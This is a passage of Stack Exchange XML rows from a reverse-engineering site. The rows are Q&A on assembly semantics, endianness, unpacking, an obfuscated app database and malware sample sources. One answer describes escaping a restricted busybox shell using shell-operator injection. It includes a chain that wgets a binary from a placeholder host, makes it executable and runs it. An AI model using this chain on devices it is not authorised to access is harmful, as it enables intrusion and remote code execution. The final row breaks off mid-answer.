  <row Id="15149" PostTypeId="2" ParentId="15145" CreationDate="2017-04-12T12:37:35.843" Score="3" Body="&lt;p&gt;You need to read the ARM instruction reference. &lt;code&gt;movt&lt;/code&gt; is the &lt;a href=&quot;http://www.keil.com/support/man/docs/armasm/armasm_dom1361289879724.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Move Top&quot; instruction&lt;/a&gt;, which sets the top 16 bits of a register to the specified value without changing the low 16 bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, the sequence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;movw r1, 0x97b8&#xA;movt r1, 2    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r1 = 0x97b8&#xA;r1 |= (2&amp;lt;&amp;lt;16);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which results in  &lt;code&gt;r1= 0x297b8&lt;/code&gt;, so that check that address for the string being compared to.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-12T12:37:35.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15150" PostTypeId="2" ParentId="15146" CreationDate="2017-04-12T19:37:10.193" Score="6" Body="&lt;p&gt;An additional source of such samples, which I don't know why nobody listed, is virustotal.com. It lets you execute what they call &quot;ruleset&quot; and &quot;retrohunt&quot; searches which are basically running yara rules on every sample processed through virustotal and every sample from the last 3 months. This is a paid service but it's definitely worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an image that shows the retro-hunt and yara search web UI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/M2GGu.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M2GGu.png&quot; alt=&quot;yara ruleset search example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-04-12T19:37:10.193" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15151" PostTypeId="1" CreationDate="2017-04-12T20:13:19.053" Score="0" ViewCount="128" Body="&lt;p&gt;A while back, on a &lt;code&gt;Linux&lt;/code&gt; system, I found a strange binary being executed at seemingly random times with some strange arguments, briefly appearing in &lt;code&gt;ps&lt;/code&gt;. There was nothing to be found at the usual suspect like &lt;code&gt;init.d&lt;/code&gt;, &lt;code&gt;.bashrc&lt;/code&gt; and &lt;code&gt;crontab&lt;/code&gt;. I found where the binary was located, renamed it, and put a script it its place. The script displayed and passed through all the received arguments and recorded the time and the duration of the binary execution, as well as some &lt;code&gt;/proc&lt;/code&gt; information. I was able to figure out what called it, when, and what were the arguments. What is the name of this &lt;code&gt;honeypotting&lt;/code&gt;, &lt;code&gt;MITM&lt;/code&gt; technique?&lt;/p&gt;&#xA;" OwnerUserId="19845" LastActivityDate="2017-04-12T20:13:19.053" Title="What is the name of this technique?" Tags="|linux|malware|binary|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15152" PostTypeId="1" CreationDate="2017-04-13T06:40:48.610" Score="0" ViewCount="2382" Body="&lt;p&gt;I have this assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV DL,BYTE PTR DS:[ECX+EAX]  --&amp;gt; Move the first byte of EAX to DL&#xA;ADD BYTE PTR DS:[EAX+9],DL  --&amp;gt; ADD the DL byte to the ninth byte at EAX&#xA;INC ECX --&amp;gt; Increase ECX by one&#xA;CMP ECX,DWORD PTR SS:[EBP+C] -- &amp;gt; ????&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see i understand everything except of the last line,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CMP ECX,DWORD PTR SS:[EBP+C]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i can understand here is that there is a compersion between 4 bytes that comes from EBP+C to ECX&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i still don't understand that what is that EBP+C?&lt;/p&gt;&#xA;" OwnerUserId="19849" LastActivityDate="2017-04-13T07:23:18.763" Title="EBP + C what is that?" Tags="|assembly|ollydbg|register|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15153" PostTypeId="2" ParentId="15152" CreationDate="2017-04-13T07:00:19.107" Score="3" Body="&lt;p&gt;C is a hexadecimal number (12 in decimal).DWORD PTR SS:[EBP+C] should mean memory at stack segment, by address (value of EBP register + 12).&#xA;This &lt;code&gt;CMP ECX,DWORD PTR SS:[EBP+C]&lt;/code&gt; means &quot;compare the content of ECX register with 32 bit from address [ebp + 12].&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-04-13T07:00:19.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15154" PostTypeId="2" ParentId="15152" CreationDate="2017-04-13T07:23:18.763" Score="4" Body="&lt;p&gt;&lt;code&gt;EBP&lt;/code&gt; stands for &lt;em&gt;extended base pointer&lt;/em&gt; keeping track of the current stackframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the current &lt;code&gt;ESP&lt;/code&gt; (&lt;em&gt;extended stack pointer&lt;/em&gt;) changes frequently in functions as stuff gets pushed to and poped of the stack, the base pointer remebers the value of ESP at the beginning of the function (convention).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, &lt;code&gt;EBP&lt;/code&gt; is often used to referr to arguments or local variables (depending on if you add or substract from it). Remember the stack grows downwards - so positive offsets may referr to arguments passed to the function. Wikipedia offers a great illustration of this layout below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tEbkd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tEbkd.png&quot; alt=&quot;Wikipedia Stack illustration&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-04-13T07:23:18.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15155" PostTypeId="2" ParentId="15140" CreationDate="2017-04-13T07:41:19.820" Score="0" Body="&lt;p&gt;Still don't know what was the root of the problem, but PC restart helped...&lt;br&gt;&#xA;';' stopped magically appearing in NameChars array.&lt;/p&gt;&#xA;" OwnerUserId="17675" LastActivityDate="2017-04-13T07:41:19.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15156" PostTypeId="1" CreationDate="2017-04-13T08:09:35.540" Score="0" ViewCount="2376" Body="&lt;p&gt;I have this assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XOR DWORD PTR DS:[ECX+EAX],1234567&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And what it does is just xoring the first 4 bytes of EAX with 1234567.&#xA;So if the first 4 bytes are :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;31 32 31 32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After xor they become:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;56 77 12 33&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried many xor Calculators to understand how it was xored with no luck&#xA;any help?&lt;/p&gt;&#xA;" OwnerUserId="19849" LastEditorUserId="60" LastEditDate="2017-04-13T09:56:35.397" LastActivityDate="2017-05-13T10:22:45.793" Title="How XOR works in my code?" Tags="|assembly|ollydbg|encryption|xor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15157" PostTypeId="2" ParentId="15156" CreationDate="2017-04-13T08:16:55.580" Score="1" Body="&lt;p&gt;The command you refer to is a good example for CISC architectures:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XOR DWORD PTR DS:[ECX+EAX],1234567&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This first add the values of &lt;code&gt;ECX&lt;/code&gt; and &lt;code&gt;EAX&lt;/code&gt;, then interprets the sum as a memory address and xors &lt;strong&gt;the value at that location with&lt;/strong&gt; &lt;code&gt;1234567&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, please note that the &lt;code&gt;EAX&lt;/code&gt; register is always 4-byte sized. For less bytes, you may use &lt;code&gt;ax&lt;/code&gt;, &lt;code&gt;al&lt;/code&gt; or &lt;code&gt;ah&lt;/code&gt; and for higher (8-byte) values you may use &lt;code&gt;RAX&lt;/code&gt; (on 64 bit systems). Please note these names are referring to sections of the same register.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-04-13T08:16:55.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15158" PostTypeId="2" ParentId="15156" CreationDate="2017-04-13T10:04:06.913" Score="2" Body="&lt;p&gt;What may be confusing you is the fact that memory on x86 processors uses &lt;a href=&quot;https://en.wikipedia.org/wiki/Endianness&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;little-endian layout&lt;/em&gt;&lt;/a&gt;. The four bytes &lt;code&gt;31 32 31 32&lt;/code&gt;, when interpreted as a 4-byte integer (dword), become &lt;code&gt;0x32313231&lt;/code&gt;. If we perform xor operation  on it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x32313231^0x1234567=0x33127756&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And putting  0x33127756 back into little-endian memory order we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;56 77 12 33&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-13T10:04:06.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15159" PostTypeId="1" AcceptedAnswerId="15160" CreationDate="2017-04-13T17:33:55.247" Score="0" ViewCount="120" Body="&lt;p&gt;I downloaded &lt;a href=&quot;https://www.microsoft.com/en-us/store/p/%e3%83%87%e3%82%b8%e3%82%bf%e3%83%ab%e5%a4%a7%e8%be%9e%e6%b3%89/9wzdncrdn6fn&quot; rel=&quot;nofollow noreferrer&quot;&gt;デジタル大辞泉&lt;/a&gt; trial from Microsoft Store to try it out. The interface was not very good in my opinion, so I thought that maybe it is possible to extract the dictionary and convert it to another dictionary format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opened &lt;code&gt;Assets\db\resource_A&lt;/code&gt; with &lt;a href=&quot;http://sqlitebrowser.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQLite Browser&lt;/a&gt;, and found some text matching the user interface, but there was a problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9XcD4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9XcD4.png&quot; alt=&quot;daijisen&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only the Latin alphabet are the same between these two. Here's some raw data I collected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;db,real&#xA;IT㘠敹嶋,IT・数学&#xA;冠嶋,区学&#xA;凹嶋,地学&#xA;煄璲,生物&#xA;璲灏㘠再嶋,物理・化学&#xA;煄楠,生活&#xA;煠嘆,画像&#xA;捹謆运劻誌,新規追加語&#xA;噷貌,品詞&#xA;㐥㐺㈆㐍,ことわざ&#xA;囤嶅猄誌,四字熟語&#xA;㈢㈀㈢㘮誌,カタカナ語&#xA;ABC畓垁,ABC略号&#xA;嶣誌,季語&#xA;難誒誌,難読語&#xA;煺湕㘠䣦掓,用法・下接&#xA;捇嶋,文学&#xA;杓懚垩,日本史&#xA;䣍畞垩,世界史&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see that for example 学 corresponds to 嶋 in the database, but when I checked if there was a set code point shift or something, the output was pretty messy. Here's some data on that (db, correct, db hex, correct hex, db-correct):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I   T   㘠   敹   嶋&#xA;I   T   ・   数   学&#xA;0x49    0x54    0x3620  0x6579  0x5d8b&#xA;0x49    0x54    0x30fb  0x6570  0x5b66&#xA;0x0 0x0 0x525   0x9 0x225&#xA;&#xA;冠   嶋&#xA;区   学&#xA;0x51a0  0x5d8b&#xA;0x533a  0x5b66&#xA;-0x19a  0x225&#xA;&#xA;凹   嶋&#xA;地   学&#xA;0x51f9  0x5d8b&#xA;0x5730  0x5b66&#xA;-0x537  0x225&#xA;&#xA;煄   璲&#xA;生   物&#xA;0x7144  0x74b2&#xA;0x751f  0x7269&#xA;-0x3db  0x249&#xA;&#xA;璲   灏   㘠   再   嶋&#xA;物   理   ・   化   学&#xA;0x74b2  0x704f  0x3620  0x518d  0x5d8b&#xA;0x7269  0x7406  0x30fb  0x5316  0x5b66&#xA;0x249   -0x3b7  0x525   -0x189  0x225&#xA;&#xA;煄   楠&#xA;生   活&#xA;0x7144  0x6960&#xA;0x751f  0x6d3b&#xA;-0x3db  -0x3db&#xA;&#xA;煠   嘆&#xA;画   像&#xA;0x7160  0x5606&#xA;0x753b  0x50cf&#xA;-0x3db  0x537&#xA;&#xA;捹   謆   运   劻   誌&#xA;新   規   追   加   語&#xA;0x6379  0x8b06  0x8fd0  0x52bb  0x8a8c&#xA;0x65b0  0x898f  0x8ffd  0x52a0  0x8a9e&#xA;-0x237  0x177   -0x2d   0x1b    -0x12&#xA;&#xA;噷   貌&#xA;品   詞&#xA;0x5677  0x8c8c&#xA;0x54c1  0x8a5e&#xA;0x1b6   0x22e&#xA;&#xA;㐥   㐺   ㈆   㐍&#xA;こ   と   わ   ざ&#xA;0x3425  0x343a  0x3206  0x340d&#xA;0x3053  0x3068  0x308f  0x3056&#xA;0x3d2   0x3d2   0x177   0x3b7&#xA;&#xA;囤   嶅   猄   誌&#xA;四   字   熟   語&#xA;0x56e4  0x5d85  0x7304  0x8a8c&#xA;0x56db  0x5b57  0x719f  0x8a9e&#xA;0x9 0x22e   0x165   -0x12&#xA;&#xA;㈢   ㈀   ㈢   㘮   誌&#xA;カ   タ   カ   ナ   語&#xA;0x3222  0x3200  0x3222  0x362e  0x8a8c&#xA;0x30ab  0x30bf  0x30ab  0x30ca  0x8a9e&#xA;0x177   0x141   0x177   0x564   -0x12&#xA;&#xA;A   B   C   畓   垁&#xA;A   B   C   略   号&#xA;0x41    0x42    0x43    0x7553  0x5781&#xA;0x41    0x42    0x43    0x7565  0x53f7&#xA;0x0 0x0 0x0 -0x12   0x38a&#xA;&#xA;嶣   誌&#xA;季   語&#xA;0x5da3  0x8a8c&#xA;0x5b63  0x8a9e&#xA;0x240   -0x12&#xA;&#xA;難   誒   誌&#xA;難   読   語&#xA;0x96e3  0x8a92  0x8a8c&#xA;0x96e3  0x8aad  0x8a9e&#xA;0x0 -0x1b   -0x12&#xA;&#xA;煺   湕   㘠   䣦   掓&#xA;用   法   ・   下   接&#xA;0x717a  0x6e55  0x3620  0x48e6  0x6393&#xA;0x7528  0x6cd5  0x30fb  0x4e0b  0x63a5&#xA;-0x3ae  0x180   0x525   -0x525  -0x12&#xA;&#xA;捇   嶋&#xA;文   学&#xA;0x6347  0x5d8b&#xA;0x6587  0x5b66&#xA;-0x240  0x225&#xA;&#xA;杓   懚   垩&#xA;日   本   史&#xA;0x6753  0x61da  0x57a9&#xA;0x65e5  0x672c  0x53f2&#xA;0x16e   -0x552  0x3b7&#xA;&#xA;䣍   畞   垩&#xA;世   界   史&#xA;0x48cd  0x755e  0x57a9&#xA;0x4e16  0x754c  0x53f2&#xA;-0x549  0x12    0x3b7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to see a pattern, there are some characters that are from the same distance of their corresponding character in the database (okay maybe it's just the birthday problem though):&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;-0x12&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x8a9e&lt;/li&gt;&#xA;&lt;li&gt;0x7565&lt;/li&gt;&#xA;&lt;li&gt;0x63a5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;-0x3db&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x751f&lt;/li&gt;&#xA;&lt;li&gt;0x6d3b&lt;/li&gt;&#xA;&lt;li&gt;0x753b&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also the distance between the real character and the database character isn't very large, none of them are in the 0x1000's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.google.ch/patents/US20100131518&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's&lt;/a&gt; some patent about character set based obfuscation. Not sure if it's in any way related to this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this some common character encoding or am I looking at an obfuscated database?&lt;/p&gt;&#xA;" OwnerUserId="19854" LastEditorUserId="60" LastEditDate="2017-04-14T14:15:42.387" LastActivityDate="2017-04-14T14:15:42.387" Title="Recognizing a possibly obfuscated character encoding used in a database" Tags="|encodings|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15160" PostTypeId="2" ParentId="15159" CreationDate="2017-04-14T05:39:30.390" Score="1" Body="&lt;p&gt;Since it's a Store app, most likely it's a .net executable so it shouldn't be too difficult to decompile it and see what it does with the data from the database. I expect they do apply some encryption or obfuscation on the data but it does not seem to be something obvious from your samples. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-04-14T05:39:30.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15162" PostTypeId="2" ParentId="13402" CreationDate="2017-04-14T18:14:11.613" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;The command you need is &lt;code&gt;chsh&lt;/code&gt; (change shell) - this is part of the&#xA;&lt;code&gt;shadow&lt;/code&gt; or &lt;code&gt;shadow-utils&lt;/code&gt; package.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can also manually edit &lt;code&gt;/etc/password&lt;/code&gt; to change the shell from &#xA;&lt;code&gt;/bin/ash&lt;/code&gt; to something else:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BUT =&gt; be very careful that the new shell exists or you will lock yourself out !!!&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You will need to be &lt;code&gt;root&lt;/code&gt; to do either of the above.&lt;/p&gt;&#xA;" OwnerUserId="19868" LastActivityDate="2017-04-14T18:14:11.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15164" PostTypeId="2" ParentId="14756" CreationDate="2017-04-15T13:34:06.427" Score="1" Body="&lt;p&gt;Rs485 just physical interface, your bms use some of logical protocol to communicate with management /reporting software. You can try to find well known protocol for 485 interface here: &lt;a href=&quot;https://en.wikipedia.org/wiki/RS-485#Applications&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/RS-485#Applications&lt;/a&gt;&#xA;Maybe your bms use some of them. For such devices modbus protocol is very common. &lt;/p&gt;&#xA;" OwnerUserId="19872" LastActivityDate="2017-04-15T13:34:06.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15165" PostTypeId="1" CreationDate="2017-04-15T14:02:25.167" Score="1" ViewCount="3074" Body="&lt;p&gt;My question is rather simple, I was analysing a piece of malware packed by some packer in IDA. I have found a memory mapped (via mmap2) region which contains the file I'm interested in. I've created a memory snapshot and I'd like to copy this specific area into a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly I haven't been able to find good instructions on how to do this, any help would be most appreciated. &lt;/p&gt;&#xA;" OwnerUserId="19873" LastActivityDate="2017-04-15T14:02:25.167" Title="IDA pro dump memory snapshot to file" Tags="|ida|memory-dump|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15167" PostTypeId="1" CreationDate="2017-04-16T02:20:35.650" Score="0" ViewCount="1540" Body="&lt;p&gt;I was debugging a program. When the register di=0x01, cl=0x11,&#xA;The instruction &quot;shl  di,cl&quot; will actually make di=0x1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't the bits that slide off the end disappear?&lt;/p&gt;&#xA;" OwnerUserId="4758" LastEditorUserId="60" LastEditDate="2017-07-17T18:24:09.390" LastActivityDate="2017-07-18T17:42:35.783" Title="Does x86 instruction SHL/SHR actually rotate the bits?" Tags="|assembly|x86|" AnswerCount="3" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15170" PostTypeId="2" ParentId="13084" CreationDate="2017-04-16T11:15:06.407" Score="1" Body="&lt;p&gt;It's possible that either A), this update is only for a select set of files, or B) the CGI backends for HTTP requests are handled by a compiled program (ref: &lt;a href=&quot;https://www.cs.tut.fi/~jkorpela/forms/cgic.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cs.tut.fi/~jkorpela/forms/cgic.html&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="19875" LastActivityDate="2017-04-16T11:15:06.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15171" PostTypeId="2" ParentId="13402" CreationDate="2017-04-16T16:26:32.150" Score="1" Body="&lt;p&gt;Unfortunately for you, nowadays most embedded devices (i.e. routers, iot devices, etc..) try to prevent the users to access the inner system so they can't hack or modify it. This is a measure to prevent the work of botnets like mirai, though the protections are not always very effective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A limited busybox shell is a very common scenario. Luckily, speaking in general, busybox requires an underlying shell if there's any kind of user interface (like telnet or ssh). This means that it may be possible to bypass that shell and run commands on the underlying shell (i.e. /bin/sh is very common).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before trying to escape the busybox sandbox, you must have in account the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The manufacturer may have modified the busybox shell to patch this techniques&lt;/li&gt;&#xA;&lt;li&gt;The underlying shell can be an (full or partial) unprivileged shell. This means that even if you manage to run commands on it, they may not work or tell you that you don't have enough rights.&lt;/li&gt;&#xA;&lt;li&gt;The underlying shell may be also another limited shell (not common)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once you are ready, you can try the following &quot;tricks&quot;:&#xA;(All of the rely on shell operators)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try things like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;Hello World&quot; &amp;amp; &amp;lt;your command&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will execute your command if:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The binary is available (so basically if it's installed in the system)&lt;/li&gt;&#xA;&lt;li&gt;The shell has access to it (privileges)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are other methods like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;Hello World&quot; `your command`&#xA;echo &quot;Hello World&quot; || &amp;lt;your command&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And other variations you can find over the internet or try by yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I'm editing to add an example of how you could escape the shell and gain further execution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;Hello World&quot; &amp;amp; wget yourweb.com/yourbinary&#xA;echo &quot;Hello World&quot; &amp;amp; chmod yourbinary &#xA;echo &quot;Hello World&quot; &amp;amp; ./yourbinary&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or directly ./yourbinary&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the idea. As for the chmod sorry but I don't remember the exact arguments to give execution permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: I've noticed your shell says ash, so probably busybox has been executed from an (automated) script running from ash. In this case you would like to directly run commands on the /bin/ash shell.&lt;/p&gt;&#xA;" OwnerUserId="16407" LastEditorUserId="16407" LastEditDate="2017-04-16T16:32:14.183" LastActivityDate="2017-04-16T16:32:14.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15172" PostTypeId="1" CreationDate="2017-04-16T21:05:08.327" Score="1" ViewCount="652" Body="&lt;p&gt;I'm trying to unpack a small application I compiled with VS2015 (v140_xp) and packed with UPX 3.93 (option -1). The application checks for &lt;code&gt;IsDebuggerPresent&lt;/code&gt; and uses &lt;code&gt;std::cout&lt;/code&gt;, nothing fancy. The packed executable works fine in the VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the classic &lt;code&gt;pushad / popad / jump&lt;/code&gt; process I learned to reach the OEP. Then I tried to dump, set the EP and rebuild the imports.&#xA;Sadly, the dumped executable crashes when I start it, no matter what tools I used (dump with ollyDump or LordPE, build imports with ollydump or imprec).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error thrown is: &lt;em&gt;The Application Was Unable To Start Correctly&lt;/em&gt; with the error code &lt;strong&gt;0xc0000005&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the first packed executable I actually try to unpack myself and despite all the articles I read, I don't really know where to look now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Opening the dumped file with CFF explorer confirms that the EP is set to the address of the jump after &lt;code&gt;popad&lt;/code&gt;. Opening the dumped file with IDA, I can see the string I passed to std::cout (but IDA complains when analysing the executable).&lt;/p&gt;&#xA;" OwnerUserId="19817" LastEditorUserId="19817" LastEditDate="2017-04-16T22:32:31.700" LastActivityDate="2017-04-21T15:40:24.780" Title="Newbie unpacking diffculties" Tags="|c++|unpacking|upx|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15173" PostTypeId="1" AcceptedAnswerId="15175" CreationDate="2017-04-17T00:06:24.470" Score="10" ViewCount="5515" Body="&lt;p&gt;I wrote a small C program below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;int sub(int x, int y){&#xA;  return 2*x+y;&#xA;}&#xA;&#xA;int main(int argc, char ** argv){&#xA;  int a;&#xA;  a = atoi(argv[1]);&#xA;  return sub(argc,a);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiled with gcc 5.4.0 and target 32 bit x86. I got the following in disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0804841b &amp;lt;main&amp;gt;:&#xA; 804841b: 8d 4c 24 04           lea    0x4(%esp),%ecx&#xA; 804841f: 83 e4 f0              and    $0xfffffff0,%esp&#xA; 8048422: ff 71 fc              pushl  -0x4(%ecx)&#xA; 8048425: 55                    push   %ebp&#xA; 8048426: 89 e5                 mov    %esp,%ebp&#xA; 8048428: 53                    push   %ebx&#xA; 8048429: 51                    push   %ecx&#xA; 804842a: 83 ec 10              sub    $0x10,%esp&#xA; 804842d: 89 cb                 mov    %ecx,%ebx&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What are the first three instructions before &lt;code&gt;push %ebp&lt;/code&gt; doing? I haven't seen those in older gcc compiled binaries.&lt;/p&gt;&#xA;" OwnerUserId="4216" LastEditorUserId="18317" LastEditDate="2017-04-17T01:08:03.713" LastActivityDate="2018-08-04T08:39:34.570" Title="What is the purpose of these instructions before the main preamble?" Tags="|disassembly|x86|gcc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15175" PostTypeId="2" ParentId="15173" CreationDate="2017-04-17T04:57:04.953" Score="19" Body="&lt;h2&gt;What the Instructions Are Doing&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the first three instructions before &lt;code&gt;push %ebp&lt;/code&gt; doing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Namely,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 804841b: 8d 4c 24 04           lea    0x4(%esp),%ecx      &amp;lt;-  1&#xA; 804841f: 83 e4 f0              and    $0xfffffff0,%esp    &amp;lt;-  2&#xA; 8048422: ff 71 fc              pushl  -0x4(%ecx)          &amp;lt;-  3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is easy to see if &lt;code&gt;gdb&lt;/code&gt; (or some other debugger) is used to step through the code.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;804841b: 8d 4c 24 04           lea    0x4(%esp),%ecx&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At this point in the process, the memory address in register &lt;code&gt;$esp&lt;/code&gt; is &lt;code&gt;0xffffd13c&lt;/code&gt;, so 